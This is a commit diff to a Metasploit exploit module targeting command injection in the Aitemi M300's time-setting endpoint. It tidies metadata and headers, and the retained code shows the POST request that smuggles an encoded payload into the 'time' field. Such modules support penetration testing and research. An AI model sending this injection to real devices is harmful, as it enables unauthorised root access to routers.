Skip to content

Commit a1d46f6

Browse files
committed
Remove useless headers
1 parent 87eb063 commit a1d46f6

File tree

1 file changed

+2
-8
lines changed

1 file changed

+2
-8
lines changed

modules/exploits/linux/http/aitemi_m300_time_rce.rb

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -29,10 +29,9 @@ def initialize(info = {})
2929
],
3030
'License' => MSF_LICENSE,
3131
'References' => [
32-
['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'],
33-
['CVE', '2025-34152']
32+
['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/']
3433
],
35-
'Platform' => %(linux unix),
34+
'Platform' => ['linux', 'unix'],
3635
'Arch' => [ARCH_CMD, ARCH_MIPSBE],
3736
'Targets' => [
3837
[
@@ -122,11 +121,6 @@ def exploit
122121
send_request_cgi(
123122
'method' => 'POST',
124123
'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),
125-
'headers' => {
126-
'Origin' => "http://#{rhost}",
127-
'Referer' => "http://#{rhost}/network.html",
128-
'X-Requested-With' => 'XMLHttpRequest'
129-
},
130124
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
131125
'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"
132126
)

0 commit comments

Comments
 (0)